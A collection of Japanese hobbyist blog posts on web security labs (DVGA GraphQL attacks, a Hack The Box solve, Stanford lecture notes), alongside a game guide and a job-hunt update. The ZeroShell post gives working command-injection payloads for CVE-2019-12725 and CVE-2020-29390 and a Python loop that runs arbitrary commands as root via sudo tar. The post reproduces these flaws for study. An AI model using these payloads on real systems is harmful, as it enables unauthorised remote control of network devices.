GraphQLでできたやられサイトで遊んでみる
はじめに
今回は、DVGAというやられアプリを使用して、GraphQL特有の攻撃をいくつか行ってみたいと思います。
準備
先ずは、Dockerのイメージを引っ張ってくる。
docker pull dolevf/dvga
そして、イメージからコンテナを作成
docker run -t -p 5013:5013 -e WEB_HOST=0.0.0.0 dolevf/dvga
これで、http://127.0.0.1:5013/ にアクセスすればDVGAは開く。以下のようなサイトです。
サイトの機能としては、Create Pasteで投稿が作れて、ここで投稿をPrivateかPublicか、どちらで公開する選べるようになってます。それぞれの投稿は、Public Pates , Private Pastesで確認することが出来ます。他にも、Paste(投稿内容擬き)をインポート、アップロードする機能がある事が見て取れます。これで、やられアプリのざっくりとした説明は終わりです。
本編
偵察
ここからは偵察フェーズとして、このサイトを見ていきたいと思います。ポートスキャンとか、そういった類のものと同じフェーズです。ここでは、偵察して何の情報を得たいかというと、エンドポイントであったり、フィンガープリントを元に、何のGraphQLエンジンが動いているのか調査していきます。
それでは実際に調査していきます。今回はgraphw00fというものを使っていこうと思います。落としてきたディレクトリに移動して早速動かしていく。
# エンドポイントをスキャン graphql版gobusterみたいな機能 $ python3 main.py -d -t http://127.0.0.1:5013/ 途中略 [*] Checking http://127.0.0.1:5013// [*] Checking http://127.0.0.1:5013//graphql [!] Found GraphQL at http://127.0.0.1:5013//graphql # 上の結果から、エンドポイントが http://127.0.0.1:5013//graphql である事が分かる # 今度はフィンガープリントモードで動かしてみる GraphQLエンジンを特定 $ python3 main.py -f -t http://127.0.0.1:5013/graphql 途中略 [*] Checking if GraphQL is available at http://127.0.0.1:5013/graphql... [!] Found GraphQL. [*] Attempting to fingerprint... [*] Discovered GraphQL Engine: (Graphene) [!] Attack Surface Matrix: https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphene.md [!] Technologies: Python [!] Homepage: https://graphene-python.org [*] Completed. # Grapheneというエンジンが動いていることが分かる. # 更に、Attack Surface Matrixの項目のURLから、Grapheneに関する情報のまとめも確認できます。
上記の結果から、エンドポイントは htt[p]://127.0.0.1:5013/graphql 、動いているGraphQLエンジンはGrapheneという事が分かりました。
Introspectionを利用した攻撃
更に詳細に調べるために、今度はイントロスペクションクエリを利用しスキーマの情報を取得していきます。このクエリを利用していきます。実際に送ってみると、以下のようなレスポンスが返ってきてスキーマの情報が取得できます。
この取得できた情報を、コピペしてGraphQL Visualizerなどにかけます。すると、よりスキーマ情報が視覚的に理解しやすくなります。以下が見切れていますが、その結果です。実際に試してみると分かりやすいです。
DoS攻撃
重いクエリをバッチ処理で実行
上で調査した内容で、Queryの中にsystemUpdateという項目があるのが分かります。ここで、サーバーにsystemUpdateでアップデートをチェックするクエリを飛ばしてみます。
Burpのレスポンスタイムを見るとかなり処理に時間を要している事が分かります。これを利用すればDoS攻撃ができそうなことが推測できます。確かに、複数回同様のリクエストを飛ばすのも良い気がします。しかしながら、GraphQLにはバッチ処理という機能があるので、こちらを利用して1回のリクエストで複数回queryを呼び出してみたいと思います。今回の場合、ペイロードは以下です。
query systemUpdate { q1: systemUpdate q2: systemUpdate q3: systemUpdate }
こんなレスポンスが返ってきます。これは確かにかなり時間かかりそうだなって感じ
再帰処理するネストされたクエリの送信
貼ると長くなるので、画像で紹介します。以下のように、深くネストされたクエリを送信することで、重い処理を実行させ、レスポンスが遅延していることを確認できます。
GraphQLエラーによる情報開示
送信するクエリに少し情報を与えることで、スキーマの情報をレコメンデーションしてくれます。
脆弱性というよりか、開発者向けの便利機能を利用して、スキーマの情報を少しずつ引き出していく、といったニュアンスが正しいですかね。
例えば、以下のペイロードなんかが今回は使えます。
{"query":"query {system}"}
以下のようなレスポンスが返ってきました。
もう既に、Introspectionの利用で分かってる値では有りますが、情報が出ているのが分かりますね。
一応、下にピックしておきます。
"message":"Cannot query field \"system\" on type \"Query\". Did you mean \"pastes\", \"paste\", \"systemDebug\", \"systemUpdate\" or \"systemHealth\"?"
最後に
以上が、最低でもGraphQLでは確認しておきたい箇所ですね。 他にも、このWebアプリにはXSSや、OS Command Injectionなどが刺さります。時間がある方は試してみても良いかも知れません。
Load key "/Users/hoge/.ssh/id_rsa": invalid formatの解決
概要
この解決策はコピペの際にフォーマットが崩れていた場合に限ります。
CTFなどで、奪取したid_rsaを用いてssh接続しようとすると、接続出来なかった。
現象
以下のようなコマンドを打つもssh接続できずエラーが発生する。
$ssh -i id_rsa $IP Load key "/Users/hoge/.ssh/id_rsa": invalid format
エラー文を読んでみると、フォーマットがおかしいとのこと。標的サーバーから落としてきた鍵なので間違っている事は無いはずだ。
よくよく調べてみると、どうやら鍵のフォーマットの最初の行と、最後の行が違うという事が分かった。これは、コピペした際にフォーマットが崩れたことが原因のようだった。
今後もあるやもしれないのでここに追記しておく。フォーマットは以下の通りです。
-----BEGIN RSA PRIVATE KEY----- BASE64 ENCODED DATA -----END RSA PRIVATE KEY-----
Hack The Box : Emdee five for life
はじめに
Hack The Boxってめっちゃ難しいイメージがあって、ほぼ登録だけして終わってた僕がEasy問題なら誰でも解けることに気付いて解いてみただけの話です。
本題
取り敢えず、インスタンスを起動して指定されたアドレスにアクセスしてみる。すると、以下のような画面が出る。
ハッシュ化した値をsubmitすると良さそう。 しかしながら、値を入れてみるもToo Slowと怒られる。また、適当な値を入れても同じだった。
もっと早く送る必要がありそうなので、コードで書いて自動化してみた。 ちなみに、h3タグ内のハッシュにする為の値を抽出するのにBeautiful Soupを使ってみたが、処理が遅いせいか、Too Slowと出てきたので正規表現で抜くことにした。
import re import requests import hashlib URL = "http://178.62.44.230:30685/" session = requests.session() res = session.get(URL) res_str = str(session.get(URL).text) #ハッシュ化する文字列の抽出 plain = re.search(r'<h3.+>(.+)</h3>', res_str).group(1) #ハッシュ化の後にURLに値を送信 hs = hashlib.md5(plain.encode()).hexdigest() ans = session.post(url=URL, data={'hash' : hs }) #レスポンスを表示 print(ans.text)
すると、レスポンスの中にフラグがあった。複数回送ると、Too Slowと返ってくることもあった。
スタンフォード大学のYoutubeで公開されている講義が面白いよという話
初めに
今回は、スタンフォード大学のCSの講義(CS 253 Web Security)を紹介します。、名前についている通りWeb Secな内容です。 個人的には、どの講義も面白かったです。こちらがURL
本題
因みに、全て紹介しようと思いましたが結構量があるので個人的に面白かったものを幾つかピックしたいと思います。講座の日時、講座のタイトル名で紹介します。
Oct 22: Denial-of-service, Phishing, Side Channels
Dosに、フィッシング、サイドチャネルとモリモリな内容なんですが、こちらも面白かったです。
先生が用意してくれた、サイトがかなりエグい挙動をするのでビックリしましたw
確かに、こういうjsの使われ方すると心臓に悪いなという感じでした。もちろん、そういった事が引き起こせる理由だったりもコードベースで説明してくれています。ただ、今だと幾つか動かないトラップも有ります(ブラウザ)に寄るかもしれませんが。Chromeでは動かないトラップもありました。
サイドチャネル攻撃では、リンクを押したかどうかでリンクの色が濃くなる部分も情報が漏れていると言えたり、クロスオリジンの画像をもとに、ログインしているか居ないかも判別できるという事にも気付かされました。(ログインや、ログアウトボタンのサイズが違えばそれで分かる。)
データポテチの袋の振動をもとに音声復元なんかもかなり驚きました(これは、あんまWeb関係無いけど
Web Security - Lecture 09 - Denial-of-service, Phishing, Side Channels - YouTube
Oct 17: Fingerprinting and Privacy on the Web
こちらの講義は名前の通り、Web上でのプライバシーに関する講義です。
誰々だと、特定せずともこういう特徴がある人間なのだという事を意図せずとも見るサイトの偏りなんかでかなり絞り込めるといった内容です。しかも、講師はなんとBraveの開発関係者の方による講義でそちらに関する情報も見応えありです。
個人的には、OS, 使用ブラウザ,アドブロを入れているかなどといった点に注目するだけで更にユーザーを細かく特定出来るというのは新鮮でした。また、多くのWeb APIが図らずもデバイスの情報を漏らしているという観点も驚きました。Web Audio APIだったら、オーディオチャンネル数だったり、navigator.hardwareConcurrencyなんかを使えば論理プロセッサのコア数を拾ってこれたりしますね。
こういった小さな情報でも集めていけばより個人を絞れるという所にワクワクします。
Web Security - Lecture 08 - Fingerprinting and Privacy on the Web - Pete Snyder - YouTube
Nov 21: Local HTTP server security
こちらは、ローカルHTTPサーバーに関する講義でした。Zoomや、トレンドマイクロ製品の脆弱性の話があり興味深かったです。Zoomに関しては意図的にアプリがブラウザからの直リンクで開くようにローカルサーバが建てられてりしていたようで(現在は違う)、そんな使い方あるのとなりました(CORS
)を貫通してそのリンクからアプリが何の警告も無く起こすことが出来るといった感じです。
こういった事例をもとに、ローカルサーバは使い方に気を付けましょうねといった内容でした。
Web Security - Lecture 18 - Local HTTP server security - YouTube
最後に
全部、英語だったので結構理解するのが大変でした。 どれも完全に理解出来た訳では無いので是非、僕の復習の為にも語って頂けると幸いです。(は?
ZeroShellの脆弱性を再現して試してみた(CVE-2019-12725, CVE-2020-29390)
初めに
今回、何を書くかというとタイトルの通りZeroShellの脆弱性を再現したいと思っています。
思い立った理由としては、現在卒業研究の内容で扱っているからです。
本題
では、内容に入って来たいのですがどういう脆弱性検証するの?ってなりますよね。
今回取り扱う内容は、CVE-2019-12725とCVE-2020-29390を検証していきます。
それでは、それぞれの違いについて少し触れていきたいと思います。
CVE-2019-12725とは
ZeroShell Ver3.9.0に存在するRCE。WebアプリケーションがHTTPパラメーターを誤って処理するために起きる。いわゆる、OSコマンドインジェクションという部類です。因みに、権限昇格まで行う事が出来ます。
CVE-2020-29390とは
ZeroShell Ver3.9.3に存在するRCE(過去のバージョンも影響を受ける)。起きる原因は上と一緒です。では、何が違うのかという普通になりますが、こちらそれぞれでインジェクションされるパラメータが異なります。
OSのインストール
こちらのサイトからインストールしてください。インストールするものは、ZeroShell-3.9.0-X86.isoです。このバージョンだったら3.9.3の脆弱性も再現できます。逆に、3.9.3を入れてCVE-2019-12725にパッチが当たっているのを確認するのも良いと思います
環境構築
私は、VMWareを使って構築しました。以下の動画に沿って行えば問題なく作成できます。気を付けるべき点としては、IPアドレスのどのレンジがVMWareに充てられているかに注意してIPアドレスを設定するところだと感じました。
攻撃してみる
先ずは、CVE-2019-12725から。今回は、普通のユーザでコマンドを動かせることを確認したいと思います。権限昇格のペイロードは是非調べてみて下さい。以下がペイロードです。なお今回はwhoamiコマンドを実行してみます。
#ペイロード /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509view&User=Admin&x509type='%0Awhoami%0A'
こちらが結果です。ユーザーApacheで動いていることが分かります。 では、次はCVE-2020-29390を検証していきたいと思います。こちらも、先ほどと同じように動かしていきます。では、以下がペイロードです。パラメータが違うのが分かりますね。
#ペイロード /cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%0awhoami%0a%27&PW=
こちらが結果です。apacheで動いている事がこちらでも分かります。
2つを見比べて気付いた事
両方に共通すること
・シェルメタ文字と%0a文字を使用してコマンド実行を可能にしている
・/cgi-bin/kerbynetが攻撃の起点となっている
・どちらも、HTTPリクエストから攻撃を行いことが出来、比較的容易である。
最後に
やはり、文字のサニタイズって大事だなと言うのと、感じたのとこまめなアップデートも不可欠だと感じました。 これからも、研究内容的にこういった事に触れる機会が増えることが予想されるのでより意味や、理由をしっかり理解していきたいなと思っています。
おまけで作ったリバースシェル的なものも載せておこうと思います。$OWN_IPを良しなに変えることで使うことが出来ます。
import requests base_url = "http://$OWN_IP" for i in range(10): command = str(input()) payload = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=" + command + "%0A%27" res = requests.get(base_url + payload) print(res.text[:100])
ウマ娘サポートカード(SR)について(スピード・パワー編)
初めに
何を書くかというと、ウマ娘のサポカでSRで強いのどれかな?みたいな話です。 というか、正確には自分の為のメモです!当てにしないで下さい😍
本題
それぞれの、特性ごとに分けて書いてみようかなと思います。友人枠(桐生院葵)は省きますね~
因みに、自分が使ってみてという所なので普通に僕の偏見も入るかもです。てか、入るよ😁
スピード
スイープトウショウ完凸
何が強い?
- 愛嬌貰える 可能性有り
- 一匹狼も良い(育成だけで無く、競技場での対一匹狼策に有り)
- 友情ボーナス 30%
- 得意率UP 50 (これも中々アツいね)
どういうの育成する時に載せる?
結論からいくと、 スピード枠余ってるとこに入れても良い。
デメリットを上げるとしたら、紹介したスキル以外を見てみると追込系が多い。ただ、現状では追込育成するキャラは非常に少ないので、ここが勿体無い点かも。
エイシンフラッシュ完凸
何が強い?
- 末脚貰える
- 徹底マーク(これも悪く無い。バグかもだけど、自身が1番人気でも発動するらしい)
- 体力回復系イベントがある
- やる気効果UP 50%
- ヒント発生UP 40%(なんと、無凸でもこれなのはアチィ)
どういうの育成する時に載せる?
うーん、自明に強いって感じ。結論的には、差し育成のキャラにおススメ。理由としては、紹介してないスキルの多くに差し系が多いからです。
パワー
ダイタクヘリオス完凸
何が強い?
どういうの育成する時に載せる?
結論から言うと、マイル育成のキャラにおススメだ。理由としては、パワーが盛れるというのと、上では汎用性の少なさからスキル紹介を行わなかったが、マイル向けの良いスキルが多くいのも理由の一つだ。
ミホノブルボン完凸
何が強い?
どういうの育成する時に載せる?
結論から言うと、逃げ育成のキャラにオススメだ。理由としは、スキルに逃げ系のためのものが多くここでスキルレベルを稼ぐ事でスキルポイントのコスパを高める事ができる。ツインターボ、キタサンブラックと組合わせるなんかすると強いと思う。
最後に
このゲーム、マジでやろうと思うとかなりお金がかかる予感しかしないですね。そして、ゲーム内通貨も全く足りないです!誰か、オラに金をぶん投げてくれ
1~3月のまとめ
お久しぶりです
読んでいる人がいるかは分かりませんが、お久しぶりです。
就活や、卒研の内容をどうする、といった具合の悩み事、某社でのインターン期間という事もありアウトプットが途絶えておりました。
なので、ちょっとした進捗をまとめて書き記しておきたいと思います。
何してたん
という事で、1つずつ分けて紹介していきたいと思います
就活について
現状、1社内定を頂いています。そして、もう一社インターンをさせて頂いてる企業様の面接を進めているという状況です。
お世辞にも優秀とは言えない自分なのですが、今までしてきたことを実直にアピールして参りたいと考えています。
インターンについて
インターン課題の方を、そこそこ真面目に取り組んでおりました。githubに上げています。今まで自分が行っていた、稚拙な開発と、実際に実務に寄った開発というものの差異をとても感じて良い経験となりました。技術面以外にも、人間的な面でも成長できたと思っていて、この経験は今後にも役に立つだろうと考えています。
最近の進捗
Webセキュリティのとある講座を受けています…結構面白いので余裕があればまとめてみようと思っています。
また、Go言語の書き方に慣れるために競技プログラミング久しぶりに解いたりしています。
そして、Railsの方も今後インターン先でより使うようになる可能性が高いので現在、詳しい本で勉強中です。
最後に
ここ数ヶ月、勢いがあったように感じています。
恐らく、これから数ヶ月で社会人になった時の進路が決まっていくと思うのですが、どのような選択になっても良かったなと言えるようにしたいと考えています。
まだまだ、未熟ですが何卒宜しくお願い致します。